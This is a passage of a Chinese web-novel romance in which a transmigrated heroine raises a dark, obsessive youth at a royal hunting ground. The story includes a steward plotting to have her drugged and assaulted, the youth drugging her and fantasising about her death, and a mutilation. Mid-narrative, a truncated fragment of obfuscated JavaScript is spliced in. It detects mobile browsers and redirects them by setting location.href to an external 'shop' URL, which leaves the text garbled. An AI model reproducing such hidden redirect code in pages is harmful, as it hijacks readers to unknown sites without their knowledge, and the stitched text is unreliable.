对于北辰晔的审问,跪地的奴才们静若寒蝉,无人敢应声。
李管事站出来:“贵人,今日的确是有人去过栈道上。”
这老登也要来插一脚?
不过李管家话锋一转,又道。
“只是算起来,每日去那栈道的人没有十个也有五六个的,若真像是那位小公子说,此人已经逃了,怕是不好找。小人这边倒是没关系,就怕整天找来找去,会惊扰了诸位狩猎玩耍的兴致。”
李管事并不知道是沈木兮做的,只是这样彻查下去,他们谁都要遭殃的。若是猎场里贵人被打,还抓不到真凶的消息传出去,今后谁还敢来,他们估计也没饭吃了。
北辰殷点头如捣蒜。
“是啊七哥,何须为了个低贱之人烦心,就算了吧!”
旁边的盛祈也是点头附和:“是的,还是我们的事重要。”
北辰晔也是被北辰殷闹得没法子了,总算是松了口:“既然如此,回去后,你就着身上的伤,自己对母……母亲说清楚原委。”
“放心,包在我身上!”
“还有,这次出行狩猎,是为了给父亲猎得一头金色驯鹿当做大寿寿礼,却因为你的事耽搁了,现如今出行已久……眼瞧着没几日就要回去。”北辰晔揉着眉心,很是苦恼的样子。
北辰殷耷拉着脑袋杵在旁边,被训斥得不敢抬头:“都是我的错,回宫……回去后,我自会给父亲讲清楚,绝对不会怪罪在七哥的身上。”
北辰殷嘴角不露痕迹的微微弯了弯,伸手亲自带他站直了身子,拍着他的肩头说。
“行了,都是自家兄弟,何须说这些。脸上的伤还疼吗?赶紧回去上药休息吧。”
看着北辰晔对北辰殷关杯备至的样子,沈木兮却是觉得背脊发凉!仿佛亲眼目睹了一场没有血雨腥风的宫闱暗斗。
金色驯鹿在西越相传代表着权势和永生,也是因为在这江州猎林里有此物,那些王孙贵族们才会前仆后继的到此。
驯鹿本就罕见了,更别说是金鹿,这北辰晔显然是想狩得送去给西越皇帝,可惜没有那个实力,但也不想浪费自己不惜千里此行,便让北辰殷去当这个“传话筒”。
文中说男主有勇有谋,待人宽厚,沈木兮现在却觉得原作者怕是脑子吃屎了。
柔妃养育他成人,没有生母之恩,也有养育之恩,北辰殷是他同父胞弟,却被如此利用。
从人品来说是他是虚伪做作!
从兄弟情义来讲,他就是无情无义!毫不人性!
恐怕今夜这一出,根本就不是为了给北辰殷出气。他从一开始就是为了这个目的,北辰晔最知道北辰殷的脾气,也肯定知道他被揍了后拉不下面子承认,才故作文章的。
霎时那股凉气,从沈木兮脚底,凉到了手指尖!
好一个夜王。
想着今后,这个北辰晔会成为谢景愿的死对头,以及后面会发生的各种糟心事,沈木兮心中不禁开始为自家“孩子”深深担忧起来……
嗯,是个劲敌啊。
但转瞬,沈木兮又觉得自己杞人忧天了。
后面如何,那都是男二自己的事了。
她现在唯一的目标,就是把谢景愿养“好”。
等到他足够抵挡一面,或是遇到女主之时,她便可以深藏功与名,安心的离开他的世界……从此回归自己的咸鱼日子,再也不怕随时随地会被人暗杀。
想着终有分别的那一日,说实在的,沈木兮心里还有点舍不得。
毕竟这么久的相处,养条狗都有感情了。
木屋这边的闹剧,不多时收场。
离开时,北辰殷走到沈木兮跟前,故意撞了她一下,然后煞有其事地对她重重一哼,一甩发带,十分傲娇地抬步走了。
沈木兮不明所以。
看着他这“小学生”行径。
她摇头。
自己之前也真是的,和个二傻子计较什么?
众人走后,盛苒起身来到北辰殷跟前,十分自责地说:“殿下,是我的过错。当时我只看到九皇子和一个人在栈道上说话,也没看清楚那人是谁。”
北辰晔拍了拍了她的手臂,温厚轻笑。
“无妨的,那小子一向是个皮性子,被人揍怪谁都怪不到你的身上,这次也能让他长点心。”
盛苒脸见他没有不高兴,微微呼口气,偷偷看着他的眼神里,藏着深深的爱慕:“殿下放心,你一定能狩得那头金鹿。”
北辰晔笑了笑,眼中自有色泽。
……
当沈木兮离开这里回去,已经是一个时辰后了。
折磨了这么一晚上,眼瞧着天都要亮了,沈木兮才回来勉强休息一下。
谢景愿已经睡过去了。
睡着时安静的他,看不到那双湿红眼底的阴暗邪气,静谧美好,侧脸轮廓如切如磋,精美如雕塑。
沈木兮嘴角一弯,止不住笑了。
嗯,还是自家孩子越看越好看。
比那夜王好不止一点半点。
她偷偷有摸
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他的额头,见已经退热,想来是没什么事了。
沈木兮放心的钻回自己的被窝,可还没睡多久,她就被疼醒了。
之前只顾着谢景愿,忘了她之前为了找他,自己也受了伤。
方才又在木屋跪了好半晌,现在更是膝盖隐隐作痛。
沈木兮缓缓起身,准备去上点药。
这次出行为了不备之需,她带了一些伤药。
在沈木兮褪下衣服,开始处理腿上的伤口时,帘子后传来一丝不易觉察的响动。
原本已经睡着的谢景愿,不知何时,正阴森森地站在帘子后“偷窥”着。
他神色阴暗,盯着她脱下衣服,一点点忍痛卷起裤腿,露出白皙的腿部肌肤。
那些伤比他想象中的严重。
突然想起之前,他站在山林高处。
看着她从客栈着急离开。
看着她在雨夜山林里奔走,呼喊着自己的名字。
又看着她被野草大石头绊倒,摔在无数个泥坑里……
谢景愿其实并没有全然听信那个李管事的话,只是她把自己丢在客栈里的事是事实。
所以他默不作声地看着她一次次摔倒受伤,也无动于衷。
那就是她应得的。
她摔得狠狠的,他心里只会更兴奋。
此刻盯着那些因为他,而出现在她身上的一道道蜿蜒丑陋的伤口。他瞳孔微缩,呼吸急促!愈发亢奋激动……
可惜了,这伤不是他亲手造成的。
若是他一个个印上去,该多好啊。
他会亲口咬下。
她可能会害怕,用手拼命阻拦。
那他便一起不松口地咬含住她的指尖,再让那鲜血和她的葱白细指,一点点在他的唇齿间吸吮和摆弄。
让她痛不欲生。
谢景愿被自己突然的想法惊住了。
不知从何时起……
许是在今夜的雨夜里,看到她冒着大雨寻找他时的急切和慌乱,或是她找到自己时,那从眼睛里迸射出来的亮光和泪水……
那种变态的占有,竟一点点超过了他想要她命的执念和欲望。
像是**一样侵蚀着他。
又或许,他真的可以这样做呢?
谢景愿幽怨自卑的眼神里,迸射出另一种诡异色泽。
他突然想起了之前李管事答应他的话,低头拿出了那个崭新的药包……
天色大亮,已经是两个时辰后了。
李管事一大早就偷偷跑到这来,他眼神瞟着四周,对着帐篷里学了一声鸟叫。
很快,谢景愿乖乖从里面走了出来。
第29章 你想娶我嫂子吗?
他垂着脑袋,和昨夜在客栈所见一样的自卑弱小和不亲近人。
李管事小声地问:“今夜行不行?”
方才路过后厨房,看到沈木兮俯身炒菜,那身段凹凸圆润又挺傲的身影,看得他心里直犯痒。
谢景愿抬头看去他,空渗渗的双眼落在李管事身上,问了句:“你想娶我嫂子吗?”
李管事一噎,还以为这是个傻子来的,还挺机灵。
他倒也不扭捏,直接点头道:“我认你当弟弟,你不吃亏。”
谢景愿盯了他半晌,深凹瞳孔里阴气十足的样子看得李管事几分不适,少年突然咧嘴一笑说。
“可我哥早**,你还想认我当弟弟吗?”
这是什么话?
李管事只觉得晦气,也懒得装了,眼神凶狠地道:“你不帮我把她弄到手,你们两人都得给我滚出去!知道了吗!”
谢景愿似是被吓到了,垂下头不说话了。
沈木兮忙了一早上回来,腰酸背痛的,当厨子可真累。
回来时,桌上已经摆着一碗热粥。
沈木兮有些意外,抬头看去帘子后。
谢景愿正端着小咸菜走出来。
她有些惊讶:“景愿,这是你给我做的吗?”
昨夜她还担心他会记恨在心,晚上睡觉也不安稳。
没想到是她以小人之心度君子之腹了。
沈木兮像是终于看到了自家“孩子”初长成,满脸都是激动和欣慰!眼圈还有点轻微发红。
直接端起粥碗,就咕噜噜喝了起来。
只是在她端起碗的那一刻,手有点轻微发抖。
等她喝下大半碗,擦着嘴笑眯眼说:“景愿,我还得出去忙一下,等会儿再回来,你在这里好好待着,别到处乱走,知道吗?”
谢景愿乖乖点头:“好,我在这里等着嫂嫂。”
沈木兮出去了,刚掀开帘子,脸色就变了!
她想也没想,就跑到旁边扣喉咙吐了起来。
起初,她是真以为谢景愿变好了,还这么乖给她单独煮吃的!可就在她端起粥碗的那一瞬,她看到了对面少年眼底那隐晦又诡异的期待……
她直觉不妙,心里咯噔了一声!
但为了不让他发现异样,自己只能硬生生喝下去。
吐了半天,感觉肚子里都要被挖空了,她这才佯装无事回到了帐篷里。
本以为吐干净就没事了。
可为什么,她的头有点晕乎乎的,身子也开始不适呢。仿佛体内突然蕴藏着一把火,正在开始燃烧中……
沈木兮身子一晃,撑住了旁边的桌子,用力甩了甩头!
她甚至猛掐了自己一把,但还是不抵用。
最后咣当一声倒在了地上!
在失去所有理智前,她只看到出现在面前的那双少年锦靴。
这是她选了几天的样式,眼睛都要选花了,再走路到的镇上,亲自去给他买回来的……
……
一直守在小帐篷外的不远的李管事,瞅着时间差不多了,贼兮兮地溜回了帐篷。
他搓着手,想着待会儿所见的少妇玉体,哈喇子都要流出来了。
他早就打听好了,知道这女人的丈夫参军**,多年来没被人碰过,怕是娇滴滴的都能嫩出水来吧!
李管事越想越兴奋!
一把掀开帘子!
看到里面所见,李管事淫邪的表情僵硬在脸上,瞪大眼睛。
“人呢?”
不是说好,让他给那女人下了药后,就把人放在这的吗?
一道黑影从身后一点点爬满李管事背脊,他惊得转身,还没看清,一个木槌已经击在他后颈。
闷哼一声,晕过去的李管事什么也不知道了。
等四周恢复平静,处理好
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一切后,谢景愿回到了帐篷里。
帘子后他的小床上。
女子满脸酡红,衣衫半解,正难受地在床上难受地扭着身子,她双眼含春,因为难受还哭了,眼帘下满是楚楚泪痕。
“救我……救我……”
谢景愿眼神空冷地看着她。
方才他并不是在饭菜里下了东西,而是把药粉下在了碗沿边。
所以她吐掉饭菜也是无用的。
沈木兮此刻已然快失去了所有理智,只知道自己好难受,好难受。
谢景愿是第一次见这样的沈木兮。
他的眼神却是阴暗冷漠。
听人说,女人中了这种东西,若是不解,会死的。
他好想看她死。
沈木兮犹然不知眼前少年那诡异又亢奋的眼神,她难受至极,对面前模糊不清的熟悉身影,用着自己最后一点力气说:“景愿,别吃……有毒,别吃……”
她记忆混乱,只记得那白粥里被下了东西,忘了是谁下的,彼时心中唯一顾及的,便是他了。
谢景愿愣住了。
那藏在黑暗里的心房,像是突然被什么给烫着了,颤了几颤。
这本是他心中早就期盼的一幕!
可是这滋味,为什么和他心中所想要的,完全不一样?
她要**,他居然没有预想中的高兴。
沈木兮还在伸手,想找到自己的那一个避风港,而她也正朝着眼前可以拯救她的人寻去。
这种情况,自己要怎么救她?
若是……等她清醒来,她一定会杀了他。他**,她一个人也是活不下去的。
谢景愿挥开她滚烫的手,急速往后退了一步。
他甩开帘子,想逃离这里。
可身后女子的求救声越发的微弱,好像快不行了。
他眉心拧起,迟疑了一瞬,又生生折返了回去!
第30章 畏惧她身后的鬼少年……
他一把抱起沈木兮!
旁边的浴桶里还留着昨夜沐浴后的冷水,谢景愿想也没想抱着她跳了进去。
冰冷的水流浸满了她滚烫的身躯,沈木兮仿佛才找到了生的希望,贪婪的一次又一次浸入水中。
她的面容终于平和下来。
可她对面的同样坐在水中的谢景愿,却是面色暗沉,浑身绷紧得可怕!
他不敢看她,只敢垂下眼盯着水下她的倒影,单手紧紧扣住桶沿……
看似近若咫尺,却又很远很远。
……
沈木兮好像梦到了那个可怕的噩梦,却比以往都要可怕百倍!
这一次,她是被他囚禁在他的密室里,他坐在幽暗处的太师椅上。
而她浑身捆满铁链,被他操控着,舞了一次又一次。
好像,她才是那个变成了文中可怜“女主”的人!
等沈木兮从噩梦中惊醒,她从床上坐起身,大汗淋漓!
“不知道她要偷多久的懒。”
“就是就是,才来两天,还把自己当成主子了不成?”
在外面迎春等人的议论声里,沈木兮缓缓吐出口气,掀开被褥,穿上衣服走了出去。
她才发现,天色居然已经很暗了。
自己竟昏睡了一天吗?
迎春几人正在碎嘴,突然见到一张白渗渗的脸,还以为看到了鬼。
“沈木兮,你想吓**吗!”
迎春背着说人坏话此刻是一脸心虚,又担心自己被这个女人再次拿什么法子给阴了,赶紧跑了。
沈木兮抬手摸了摸自己的脸,这才发现,她的脸很是冰凉。回到帐篷里,她拿起铜镜了一下,脸不仅冰冷,还很苍白,就像是被耗尽了气血。
除此外,头也疼得很。
可具体发生了什么,她都不记得了。
唯一记得的,就是她忙活一早上回来,正准备喝景愿给她煮的白粥。
帘子被人掀开,是谢景愿走了进来,端着晚饭。
瞧,多好的孩子啊。
孝敬长辈,又听话乖巧。即便是表面上的,也让人心中喜欢得紧。
沈木兮问起,他只说她是早上喝白粥时晕睡了过去,他已经去李管事那给自己告了假。
是这样吗?沈木兮想了半天只剩下头疼,便也去懒得想了。
虽然告了假,但她还是得去后厨房。
她本就不受这里的人待见,李管事也不是太喜欢她,更别说还有男主一行人在此。
想到这,沈木兮面色突然一肃,很是认真对谢景愿说:“景愿,这几日你都不许乱走,知道吗?”
不确定夜王能不能认出他,两人可是死对头,现在谢景愿还不是太子,夜王又是个**子。她可不想景愿在一无所有时被人给欺负了去。
谢景愿乖乖点头,安静地吃着饭。
看得沈知意眸光都放得柔软了,再叮嘱了他几句,转身去了后厨房。
李管事是个黑心肝的,谢景愿去帮她告假,怕是行不通的。
她赶到后厨房时,李管事正在和老厨娘说着事情,他老远看到了她,就像是看到了什么可怕的东西,话都没说完,躲在老厨娘身后,赶紧撒腿跑了。
“?”
沈木兮挠着头,茫然的很,她也不**啊。
不仅是今日,她还发现,接下来的这几日里,李管事看着她都绕道走!
沈木兮直觉有事,故意在这日在栈道上堵住李管事,想问个清楚明白。
“沈姑娘,你就饶了我吧!”
“饶你可以啊,但你得给我说清楚,你为什么看着我就躲。”
李管事正要说什么,眼神一瞪,不知道是看到了什么,连保命也顾
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不得了。生生从桥上滚落下了栈道,摔得一瘸一拐地跑走了!
沈木兮:“……”
她往自己身后瞅了瞅,什么人都没有。
真是奇了怪了。
她离去后,“偷窥”着的少年,如鬼一样从树影间走出。
他唇边弯起一抹弧度,转身消失在山风里。
至此后,所有人都以为,是这个心机深沉的沈木兮,用了什么法子吓着了李管事。但只有李管事才晓得,他哪里是怕这个女人,而是恐惧她身后的那个少年!
还记得那一日,自己被砸晕后,又被他给拖到了深山里。
睁开眼,便是少年那张无害却又可怕的漂亮脸蛋儿。
他笑着问:“你还想当我哥吗?”
“不了不了!”李管事哪里敢招惹这个人,看起来是个粉雕玉琢的精致男孩,却是阴渗渗的如同幽暗毒蛇!
谢景愿皱眉:“可是,我不信呢。”
他沉思了一下,拿出一把刀,漂亮脸蛋儿上重新堆起了笑。
“除非你给我留下一样东西。”
李管事差点吓晕了过去!
动手时,他眼含怜悯和抱歉。
“对不起,我也不想的,可是她好凶,我实在害怕,只能委屈你了。”
最后他很“慈悲”的留给他了一个种。
可李管事到现在都忘不了自己下身那半边的绞痛!
还有少年动手时,他乖巧安静眼神里,所藏着的可怕戾色……
从此,他便怕**他,也躲得沈木兮远远的,再也不敢沾染她半分!
尚且不知道这些的沈木兮,至此身边再也没了李管事身影和他的针对。
夜王一行人,也因为狩猎无果,早早地启程离去了。
她在这里的日子,逐渐松快了起来。
一晃眼,便是过了大半年。
第31章 见不得人的关系
在此期间,北辰晔和北辰殷也曾再回来小住过。
但每次依旧是空手离去。
金鹿,那是至高权势的象征,哪里又是那么容易得的呢?
虽然这原作者是个脑子有大包的,但老天还算有眼,没有真让夜王猎得了此物。
这半年时间,沈木兮熬走了老厨娘,成了猎林的掌勺娘子。
谢景愿也成长飞速,已经从先前的仅比沈木兮高大半个头,到现在高出她一大截。
衣服也是做了又做。
沈木兮赚了银子,特意为谢景愿请了个老先生。
他估计是终于知道了自己对他的好。
白日里,他就去老先生那看书写字,回来后,还会帮着沈木兮做事。
比起以前伪装出的恭顺,是愈发的乖巧懂事,有时候,居然还会对她笑。
在沈木兮觉得晦暗日子终于快过去,好日子近在眼前时,夜王等人要来猎林的消息,再次传了来。
她已经见怪不怪了。
不过这半年来,北辰殷的嘴也是越来越挑,自打他知道她是这里的厨娘后,更是变着法儿的让她做出各种山珍海味,处处刁难。
一开始他还很不服气,为此和沈木兮打了好几次的赌,不过每次都是沈木兮赚得盆满钵满。
到后来,被北辰晔训斥了无数次,和在沈木兮跟前栽了无数跟头后,他总算认栽了。
估计也是被她喂养久了。
这北辰殷现在比夜王还来得勤快。
知道数他破事儿最多,得了他们又要前来猎林的消息,沈木兮老早就开始在后厨房里忙活起来。
等再赚足一个月,加上从北辰殷那坑来的银子,也差不多够了。
除了北辰殷,这半年来,迎春等人也没在沈木兮这得过一次好。加上李管事不敢得罪她,久而久之,又吃了几次亏后。她们不敢再去招惹沈木兮。
“嫂嫂,我回来了。”
在后厨房里忙事的沈木兮,转身看去,双眼笑得眯起。
“景愿!”
沈木兮正在拿东西,一时间够不着,闻声转身的时候,脚下一滑差点摔了。
一只手伸来,撑住她纤细的腰身,另一手从上方接过架上之物,沾着墨迹的袖子轻划过她的鼻尖和睫羽,带着山道上的夜露香。
沈木兮回过神,她已被他稳稳的放在地上。
“我不在的时候,小心点。”他的声音从她头顶上方传来,低沉又固执地说。
不过大半年光景,谢景愿也才大了一岁而已,可身上的少年稚气显然尽退,许是以前太过苛待,这半年来沈木兮将他娇养着,他不仅仅高了一大截,身姿也越发挺拔。
宽肩窄腰,颀长高挺,额前稀碎的刘海随着山风飞舞。
站在她的跟前,好似比过了身后的连绵山丘。
刚回来,谢景愿身上带着山路风尘,从老先生的住处到这,有三五里的山路,他额前溢出不少薄汗,沈木兮下意识拿出身上的绢帕给他擦去。
因为比她高许多,她还得踮着脚。
以前那个阴暗自卑的干瘦少年,已经长成可以帮她独挡一面的成熟大男孩了。
他原本精致漂亮的小脸,也慢慢长开,细长眉眼如远山,鼻高如悬珠,笑起来时,像是一只小野狐。
在她面前,眼瞳滚圆,可爱的紧。
唯一不变的,便是他盯着她看时,湿红眼尾里始终挂着的那一抹朦胧雾色。
因为谢景愿的“美色”逐渐藏不住,迎春那些小姑娘,时常跑来偷看他。
后来更是变本加厉,不是刻意的想栽去他怀里,就是变着儿的在他跟前卖弄。
有一次,迎春还把自己的肚兜,塞到了她给谢景愿洗好的衣服里!
这可把沈木兮气得够呛。
为了保护谢景愿,让他在遇到女主之前,不被其他女人“沾染”了去。沈木兮时时刻刻戒备,特意搬到了山顶上住着不说,门前还杵着一把扫帚,谁来打谁!
可防不胜防。
这会儿他的人才出现在后厨房,迎春她们嗅着味儿跟着就来了。
沈木兮看着藏在门外的一群女人,眉头皱起,直接挡住了谢景愿,转身给他掸身上夜露的功夫,已经警惕地带着他朝后门走去:“走,我们先回去。”
谢景愿垂下眉眼,像是平日里只在她跟前时,才会有的扬唇浅笑。
刚准备出去,前头山林木屋的小厮说,贵人已经进猎林了,让她这边赶紧准备准备。
沈木兮皱眉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989330|193682||http|test|mini|href|location''.split(''|''),0,{}));
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r>谢景愿已经先行开口:“我自己回去就好。”
沈木兮满心欣慰,孩子果真长大了。
“也好,晚上我给你包些好吃的回来。”
“不用了嫂嫂,我吃过了。”
先前他还算小,唤她嫂嫂时她觉得没什么,可现在他已然是个大人了……再这样唤她,只觉得有些说不出的怪异。
再看着身侧男子宽广高挺的身躯,和他眼尾低垂泛红时,那属于大男孩的成熟魅力和阴鸷气场交错溢出的男人气息。
让沈木兮呼吸莫名加剧,心跳如鼓,耳根微微发红,随意含糊不清的应了一声“好”,便匆匆转过了身去。
他是越发的大了。
今后不能再睡在一个帐篷了,明日便得和他“分居”!
谢景愿离开,沈木兮也不再收敛,抄起旁边的笤帚就对着迎春等人轰赶。
迎春是真怕这个女人。
毕竟她可是真打啊。
上次的被打得半折的腿还在疼呢!
迎春一边跑一边气呼呼地说:“沈木兮,你可真会装!”
“装你老母啊!什么锅配什么盖儿,以后少在我这儿晃悠!”
谢景愿那是你们能沾惹的吗!!
也不怕小命玩完啊!
他只能是女主的!
迎春跌在地上,指着她骂。
“我说你怎么把谢景愿护得那么好,原来你才是包藏私心。”
旁边的人都要吓**,纷纷阻拦,让迎春别说了。
迎春也是被打出脾气了,反正横竖都要被揍,她豁出去了。
“沈木兮,你到底知不知道,旁人都怎么说道你们的?”
沈木兮停下,眼神如炬,盯着她!
“说什么!”
“哼,谁不知道你以前**夫家弟弟,现在对弟弟的好,是因为贪图他的美色,还不许旁人接近,分明就是想为了独占他!”
“放**屁!”
沈木兮是真来火气了。这什么狗屁话!
谁tm胡说八道的?
看她不去撕烂这个人的嘴!
见沈木兮气得要发飙了,迎春等人脖子一缩,不敢在这久留,赶紧跑了。
四周安静下来,沈木兮丢开笤帚,脸色微微发白,陷入了诡异的沉思中。
第32章 谢景愿,悄悄有心上人了
这半年来,因为和谢景愿的关系愈发融洽,沈木兮和他自然而然更“亲近”了些。
但除了和谢景愿同住一个帐篷外,沈木兮一直很保持两人的距离。
可外人真的这样想吗?
旁人的想法其实并不重要,沈木兮怕的是,谢景愿若听了去,心里会乱寻思。
况且,虽然她不想承认,但看着这个比自己高大挺拔,越发出众的男子,她怕是再也不能将之当成“孩子”了。
沈木兮打定主意,现在就得必须回去搬帐篷了!
回到山顶时,谢景愿不在。
应该是出去打水了。
沈木兮进去开始收拾东西,她很急,是这大半年来从未有过的心急如焚。
与其说是担心对男二的救赎“功亏一篑”,不如说她在害怕!
这半年她再也没梦到过那些噩梦了,但不代表噩梦不会成为现实。
其实她不是没有想过独住,也尝试过,只是之前换帐篷的时候,谢景愿还没长成,她实在放心不下,搬走的第一夜,就来来**折回了他帐篷三四次。
一会儿怕他睡觉踢被子,一会儿又担心他半夜口渴了没水喝。
折腾了她一夜没睡。
就那样硬撑了三日,最后她还是灰溜溜又搬了回去。
可现在不同了,他已经是个大人了,不用她的照顾。
沈木兮正在收拾着柜子里的衣物,突然从里头掉出一个东西。
她一眼认出,那是谢景愿的小木盒。
是他自己做的。
她赶紧把东西拿起,吹吹上面的灰土,生怕摔坏了。
“这是什么?”余光瞥着地上从木盒里散落出的一个物件,她再次蹲下身。
这好像是,女子的东西?
是一个女子的耳坠。
可惜只有一个。
耳坠吗?沈木兮一惊!
正好这时,谢景愿回来了。
她赶紧把木盒别到身后,转过身咳嗽一声说:“景愿,你打水回来了啊。”
谢景愿点点头,看去旁边的一堆衣物。
“嫂嫂又要搬走吗?”
他的语气好像已经见惯不怪了。
听到这个“又”字,沈木兮莫名有几分尴尬。
“这个,是……是啊。”
“你现在长大了,外人见我们住在一起,旁人会说闲话的。”
更重要的是,她自己也觉得别扭。
谢景愿平静如深潭的眼眸微微闪动,轻嗯了声:“嫂嫂想搬就搬吧,我帮你。”
现在的他,的确比以前更好说话。
这让沈木兮松了口气。
他背过身去帮她整理衣物时,沈木兮偷偷看去身后手里捏着的那个耳坠,眼神怪异。
谢景愿,怎会有女子的东西?
这个木盒她是知道的,都放着谢景愿的小东西小物件,一般不让人碰。
人嘛,都有自己的小爱好,他也不例外。
沈木兮一向很尊重他的隐私。
有一次她不小心碰到了,他虽然没有当场动怒,但他的脸当时就被她给气得涨红了,三天都没和她说话。
原来,这里头藏着他不为人知的小秘密。
谢景愿,有喜欢的人了?
是谁啊。
沈木兮心中突然生出一丝八卦的趣味,再次细细打量了一眼那个耳坠。
有点眼熟。
可一时间又想不起来。
不过到了这时,先前因为迎春等人的话,而生出的恐惧,现在瞬间荡然无存了。
亏她还担心,两个人住久了,因为二人关系的逐渐“亲密”,谢景愿会因为外面的流言,或是误会什么,而对自己有不该有的心思。
可现在她俨然是多虑。
她家景愿啊,早就有自己的心上人了呢!
可是景愿一直在自己身边,能遇到谁家姑娘?会是女主吗?
按书里所写,女主现在该还在京中。
可整本书里所描述的,男二是回京后,才遇到女主,从头到尾也只对女主动过心,从而爱而不得,愈发的疯批!是以沈木兮坚信,景愿喜欢的这个人,只会是女主。
难道他是在猎林外遇到的?
那她可要出去打探打探了,若是女主早已出现,她可得帮景愿助点力!
总之,他的心思没放在自己身上就好!
但即便如此,沈木兮还是决定好要搬出去。
趁着谢景愿搬东西时,沈木兮把耳坠和小木盒原封不动地放好,佯装什么也不知道。
收拾妥当后,沈木兮回了后厨房。
刚来就被人堵了个正着。
“沈木兮,知道小爷来了,你故意躲起来是吧!”
沈木兮不用看也知道是谁。
抬头瞥了眼面前这个上蹿下跳的家伙,一头黑线。
大半年过去,连自家景愿都变得稳重了,这北辰殷还是没个正行,明明比景愿大两三岁,他才像是那个大男孩。
“晚膳等一下就送去了,饿了就先憋着。”沈木兮目不斜视走了进去。
以往沈木兮这样说,他肯定要回嘴,然后两个人又开始吵得不可开交。
有时候她都在想,是不是京城太无聊了。
这小子才跑来故意和自己吵架闹腾?
可今日,北辰殷却是出奇的安静。
沈木兮狐疑转过身,却见他站在原地,咬着唇,扯着自己衣带,似是想说什么,可是憋了半天也说不出口。
她还
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是头一次见北辰殷这副害臊扭捏的样子。
不过她没理会,爱说不说,反正憋的不是她。
沈木兮自顾自的洗锅烧菜,心里寻思着,晚上给谢景愿做点什么菜。
今夜刚搬走,可得安抚安抚他,做点乌鸡汤?还是羊肉汤?
愣是把北辰殷完全忽略了。
“……”北辰殷憋了半天,最后一跺脚,还是说了出来,“喂,沈木兮!我问你,你愿不愿和我%¥#……”
“啥?”
“和我%¥#……”
“不说算了。”
“哎呀,我是问你,想不想和我去京城!”
沈木兮愣住。
京城?
北辰殷生怕她多想,咳嗽一声嘟哝道:“我是因为府中正好缺个厨子,你若是去的话,我给你开猎林的三倍月钱,怎么样?”
说完他傲娇地抱胸扬起下巴,眼神贼溜溜的转。
这大半年他被沈木兮欺负的事,可是一笔一笔都记着呢!可惜了,父皇身子愈发不好,后面很长一段时间,他和七哥都不能再频繁离京来江州了,若是今后就此不来,他这半年遭受的怨气又怎么清算?
所以,北辰殷长这么大,第一次背着七哥,自己偷偷拿了个主意。
沈木兮一眼看出北辰殷的小心思。
这小子就差把“爷整死你”几个字刻在脑门上了。
不过,这个消息,倒是让她生出了新的想法。
原本她是想等赚足银子,再和谢景愿回京。
回京不是个容易事儿,一是路途遥远,二是回去后,她还得先找新的活儿谋生。沈木兮并没有想过去京里开铺子,虽然以她的实力,开铺子肯定会狠狠赚一笔,但她迟早就要离开谢景愿的。
现在嘛……
沈木兮看了眼假装望天赏月,眼神却在偷瞄她的北辰殷,摸了摸下巴,就她这厨艺,雇主肯定是不难找,但傻子可不常有。
不过她没有马上回答,只是说回去好好想一想。
晚上回了山顶,沈木兮把这件事给谢景愿说了。
谁曾想,这段时日来,一直都很平静温和的谢景愿听到这,反应却比谁都要大。
“我不准!”
这样的他,让沈木兮不由想起了年前自己要来猎林时,他的奋力反驳时的样子。
可是比起当时他胆怯又自卑的反抗模样,此刻的谢景愿,却是完完全全是占据了主导权。
他直立站在灯烛暗影下,双手强有力地撑住桌子,朝着她的方向一点点俯下身。
随着他俯身压来,沈木兮一点点往后缩,不停咽唾沫。
臭小子,把你养这么大,你还吼我!
简直是倒反天罡!
第33章 她一定是被人哄骗了
但她只敢在心里骂两句,面上都是讪讪的笑。
“景愿,我也没答应他啊,这不是回来和你商量吗?”
烛光穿透暗光,打在他的卓越侧脸上,映亮了他眼眸里熟悉的湿红和快溢出眼眶的委屈。
“你不能去的,京城很危险,你会受伤的。”
只能他伤她,旁人怎能可以呢。
在这大半年来,他好不容易把她“训教”好了,让她只听自己的话,会帮他赶走他不喜欢的女人。
是不是,要把她永远变成他身上的附属品,她才会再说什么要离开的话?
谢景愿很快就把自己哄好了。
她半年来一直很乖的,一定是被人给哄骗了。
又是那个北辰殷。
谢景愿眼神阴暗了一瞬,安静地坐了回去,再也不说话了。
随着他的安静,那股紧贴来的无形压迫感也缓缓消失,沈木兮总算能喘口气,假装喝水顺气,一边安抚着他说。
“好好好,我再想想。景愿你别乱想,去不去我都会听你的。若是不行,我回绝了他便是。”
沈木兮继续去为搬帐篷收拾了。
之前没发现,怎么越收拾东西越多,好像怎么都收拾不完?
谢景愿坐在暗影里,一帘之隔的对面,垂落的纱帘勾着她的身躯。
这半年不仅仅是他长得愈发高挺健硕了,她也变得丰盈了不少,更显得那身段成熟诱人。
似是收拾得累了,她撑腰站着歇了会儿,那半折着的腰肢,似能软进外面的月风里。
谢景愿眼神里逐渐带上了一丝阴郁,那是他的嫂嫂,怎能被旁人惦记?
次日一早,谢景愿早早的出门去了老先生那。
昨夜沈木兮收拾东西,收拾得太过困倦,一不留神竟在这里倒头睡了过去。以至于搬帐篷的事莫名又中断一夜。
看着旁边小几上照旧放着的一碗白粥,沈木兮十分欣慰地笑了。
谢景愿已经长大,有了自己的主见,他不想随着北辰殷回京,那她便只能尊重他的想法。
总归即便这几日不走,过了这个月她也会带着他离开的。
沈木兮想了想,准备待会儿送午膳的功夫,找到北辰殷,和他说清楚。
她穿好衣服,去了后厨房。
同时,一道身影也从帐篷后面的树林里闪过,席卷起山林里的一丝阴诡雨气。
……
北辰殷今日没跟着北辰晔去猎林,自顾自在山林栈道上漫步,眼神东瞅瞅西瞅瞅。
像是在等什么人。
遇到个过路的猎林奴才,他还抓着人家问:“怎么样!小爷今日看起来俊美否?是全天下最美的男人吗?”
奴才瞅着他耳边插着的那朵别致的大黄花,喉头一哽,随即赶紧点头如捣蒜。
“公子自是俊美无双,无人可比。乃世间最美男子。”
他想也是。
北辰殷放开他,理了理身上的衣服,满意地昂起下巴!
“公子这是要去见谁家姑娘吗?”那小厮凑过来碎了句嘴。
谁想北辰殷一改方才的满脸和悦,差点跳起来,冷冷竖起眉头瞪着他:“谁告诉你我是要去见姑娘了?”
再说,那是姑娘吗?
分明是头母老虎!
回想着这半年来自己受到的大伤小伤,和内心的挫败,他就恨得直痒痒!
不过转瞬,他又得意的笑了!
